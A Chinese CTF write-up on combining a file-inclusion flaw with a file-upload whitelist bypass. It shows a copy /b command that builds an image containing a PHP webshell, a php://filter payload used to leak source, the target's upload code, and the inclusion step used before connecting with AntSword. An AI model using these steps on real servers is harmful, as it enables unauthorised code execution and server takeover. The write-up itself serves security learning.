文件包含+文件上传漏洞(图片马绕过)

news2025/1/19 3:11:29

目录

  • 一.文件包含
  • 二.文件上传
  • 三.图片马
  • 四.题目

一.文件包含

将已有的代码以文件形式包含到某个指定的代码中,从而使用其中的代码或者数据,一般是为了方便直接调用所需文件,文件包含的存在使得开发变得更加灵活和方便(若对用户输入的数据不严格的过滤,会导致信息泄露,getshell等风险)

常见文件包含函数
include():当文件发生错误时,提出警告,脚本继续执行
include_once():如果文件被包含过,那将不再被包含
require():当文件发生错误时,提出警告,脚本停止执行
require_once():确保文件只被包含一次,但如果文件不存在或发生错误,脚本会停止执行

二.文件上传

文件上传是指:用户将本地的文件上传到目标服务器的过程(若对用户上传的文件,不经过严格的审核,会造成getshell,服务器被控等风险)

三.图片马

copy 正常图片.jpg /b + muma.php hack.jpg

就是将正常图片和木马文件合并成新的图片(带有木马的图片)
/b选项告诉copy命令以二进制模式处理这些文件

木马文件里面一句话木马前,要带空格
在这里插入图片描述
合并之后,记事本打开,出现完整的一句话木马,说明成功
在这里插入图片描述

四.题目

点击题目链接,空白页面,查看源代码,发现include.php
在这里插入图片描述
include.php的源代码,有一个upload.php,且告诉参数是file
在这里插入图片描述
访问upload,是文件上传页面,上传木马文件发现不行
在这里插入图片描述
通过文件包含,查看upload.php的源代码,(php伪协议)

?file=php://filter/read=convert.base64-encode/resource=upload.php

在这里插入图片描述base64解码
在这里插入图片描述代码分析,只是一个白名单过滤,对文件的后缀和文件类型进行判断

<form action="" enctype="multipart/form-data" method="post" 
name="upload">file:<input type="file" name="file" /><br> 
<input type="submit" value="upload" /></form>

<?php
if(!empty($_FILES["file"]))
{
    echo $_FILES["file"];
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    @$temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
    || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
    || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
    && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
    {
        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
        echo "file upload successful!Save in:  " . "upload/" . $_FILES["file"]["name"];
    }
    else
    {
        echo "upload failed!";
    }
}
?>

上传图片马,上传成功
在这里插入图片描述
文件包含图片马

?file=upload/j.jpg
看不到一句话木马,说明被解析了,通过蚁剑连接

在这里插入图片描述蚁剑连接
在这里插入图片描述根目录下发现flag
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1458327.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【无刷电机学习】基础概念及原理入门介绍

目录 0 参考出处 1 定义 2 各种电机优势比较 2.1 有刷与无刷比较 2.2 交流与直流比较 2.3 内转子与外转子比较 2.4 低压BLDC的一些优点 3 基本原理 3.1 单相无刷电机 3.2 三相无刷电机 4 驱动方法 4.1 六步换相控制 4.2 正弦波控制 5 转子位置信息的获取 5…

安卓游戏开发之图形渲染技术优劣分析

一、引言 随着移动设备的普及和性能的提升&#xff0c;安卓游戏开发已经成为一个热门领域。在安卓游戏开发中&#xff0c;图形渲染技术是关键的一环。本文将对安卓游戏开发中常用的图形渲染技术进行分析&#xff0c;比较它们的优劣&#xff0c;并探讨它们在不同应用场景下的适用…

辽宁博学优晨教育:引领视频剪辑新风尚,打造教育界的剪辑大师

在数字化时代&#xff0c;视频剪辑已经成为一项不可或缺的技能。辽宁博学优晨教育凭借其卓越的教学质量和实践经验&#xff0c;成功开启了视频剪辑培训的新篇章&#xff0c;为广大学习者提供了一个可靠的学习平台。今天&#xff0c;就让我们一起走进博学优晨教育&#xff0c;探…

Python打发无聊时光:5.用PyQt实现简陋的用户交互界面

第一步:安装PyQt5库 在终端输入: pip install pyqt5 第二步:复制下列代码 import sys from PyQt5.QtWidgets import QApplication, QWidget, QVBoxLayout, QHBoxLayout, QLabel, QLineEdit, QPushButton from PyQt5.QtCore import Qt from PyQt5.QtGui import QFontclass I…

Electron实战之菜单与托盘

菜单、托盘是桌面端应用必备的功能之一&#xff0c;我们通常会在菜单上配置应用常用的&#xff1a;偏好设置、显示隐藏、打开文件等功能&#xff0c;在托盘内设置&#xff1a;退出、重启、帮助等辅助性功能&#xff0c;帮助用户方便快捷地控制应用的一些系统功能。系统托盘实际…

c#,dotnet, DataMatrix 类型二维码深度识别,OCR,(基于 Halcon)

代码中部分调用的 c 函数参数&#xff0c;具体说明自行研究~&#xff08;我也是参考的其他资源&#xff0c;还没研究透彻&#xff09; 例如&#xff1a;HOperatorSet.GenRectangle2() &#xff0c; 2000, 2000, 0, 2000, 2000 这些数字应该是选取的图片解析范围、尺寸&#xff…

Programming Abstractions in C阅读笔记:p283-p292

《Programming Abstractions in C》学习第72天&#xff0c;p283-p292总结&#xff0c;总计10页。 一、技术总结 1、anylasis of algorithms 算法分析——即判断程序的效率(efficiency)。 2、mathematical induction(数学归纳法) 3、Big-O notation(大O标记法) 4、constan…

Linux系统——http协议介绍

目录 引言——Internet起源 一、http协议——超文本传输协议 1.http相关概念 2.访问浏览器的过程 3.http协议通信过程 4.http相关技术 4.1WEB开发语言 4.2html 4.3CSS 4.4JS 5.MIME——Multipurpose Internet Mail Extensions 多用途互联网邮件扩展 6.URI URN URL的…

MySQL的连接

MySQL的连接 大纲 基本操作 具体案例 MySQL的三层结构

毕业设计:基于知识图谱的《红楼梦》人物关系可视化

文章目录 项目介绍部署步骤项目运行 项目介绍 github地址&#xff1a;https://github.com/chizhu/KGQA_HLM?tabreadme-ov-file 基于知识图谱的《红楼梦》人物关系可视化&#xff1a;应该是重庆邮电大学林智敏同学的毕业设计&#xff0c;在学习知识图谱的过程中参考使用。 文…

WebGL开发数据可视化应用

使用WebGL进行数据可视化可以创造出令人印象深刻的交互式和动态图形。以下是一些在WebGL中开发数据可视化应用时需要考虑的步骤和技术&#xff0c;希望对大家有所帮助。 1.选择合适的WebGL框架或库&#xff1a; 使用现有的WebGL框架或库&#xff0c;如Three.js、Babylon.js、r…

云HIS定义,云HIS系统源码,云HIS建设方法,云HIS发展机制

一、重新定义HIS&#xff1a; 传统HIS是基于局域网的医院信息系统&#xff0c;云HIS全称为基于云计算的医疗卫生信息系统&#xff08;Cloud-Based Healthcare Information System&#xff09;&#xff0c;是运用云计算、大数据、物联网等新兴信息技术&#xff0c;按照现代医疗卫…

解决ModuleNotFoundError: No module named ‘pysqlite2‘

目录 一、问题描述&#xff1a; 二、问题分析&#xff1a; 三、问题解决&#xff1a; 四、参考文章&#xff1a; 一、问题描述&#xff1a; 在重新安装的anaconda环境中自建了一个新虚拟环境&#xff0c;再安装完jupyter后&#xff08;pip install jupyter&#xff09;&am…

图的遍历(广度优先遍历BFS,深度优先遍历DFS)

目录 图的遍历概念&#xff1a; 图的广度优先遍历&#xff08;BFS&#xff09;&#xff1a; 代码实现如下&#xff1a; 测试如下&#xff1a; 注意&#xff1a; 图的深度优先遍历&#xff08;DFS&#xff09;&#xff1a; 代码实现如下&#xff1a; 测试如下&#xff1…

HTML 字符实体参考清单

前言 一些字符在 HTML 中是预留的&#xff0c;拥有特殊的含义&#xff0c;比如小于号‘<’用于定义 HTML 标签的开始。如果我们希望浏览器正确地显示这些字符&#xff0c;我们必须在 HTML 源码中插入字符实体。 字符实体有三部分&#xff1a;一个和号‘&’和一个实体名…

护眼台灯哪个牌子好?揭秘多款热销护眼台灯品牌

现在不管是学生党学习阅读&#xff0c;还是办公族加班工作&#xff0c;都离不开一盏光源舒适的台灯&#xff0c;然而如今的台灯市场水实在太深的&#xff0c;各种网红、劣质产品混杂在其中&#xff0c;一不留神就踩雷了。这类低质量的台灯往往采用劣质电源&#xff0c;其电源品…

怎么在抖音带自己的货?带货方式和带货要求,如下所示

我是王路飞。 不管你是无货源的新手小白&#xff0c;还是有货源的厂家/供应链&#xff0c;想在抖音卖货的话&#xff0c;无非就两种方式&#xff1a;要么开店、要么开直播带货。 看似都是在抖音卖货&#xff0c;但其实这是两条不同的赛道。 这篇文章就给你们聊下想在抖音卖货…

PTA——7-31 三角形判断

7-31 三角形判断 (15分) 给定平面上任意三个点的坐标(x​1​​,y​1​​)、(x​2​​,y​2​​)、(x​3​​,y​3​​)&#xff0c;检验它们能否构成三角形。 输入格式: 输入在一行中顺序给出六个[−100,100]范围内的数字&#xff0c;即三个点的坐标x​1​​、y​1​​、x​2​…

详解-领航家政策/双2.0模式

#领航家代理政策怎么代理# ∨&#xff1a;ok1234vip 简单点说&#xff01;费率/分润和返现先不说了&#xff0c;领航家是双2.0平台&#xff0c;用户也可以参与其中拼团&#xff0c;费率随之降低能一直降至0费率&#xff0c;甚至可以赚钱&#xff0c;&#xff08;这就是拼团两人…

OpenCV人脸检测案例实战

人脸检测是一种计算机视觉技术&#xff0c;旨在识别图像或视频中的人脸。这项技术的基本内容包括使用特定的算法和模型来定位和识别人脸&#xff0c;通常涉及在图像中寻找面部特征&#xff0c;如眼睛、鼻子、嘴巴等&#xff0c;以便准确地确定人脸的位置和边界。人脸检测技术的…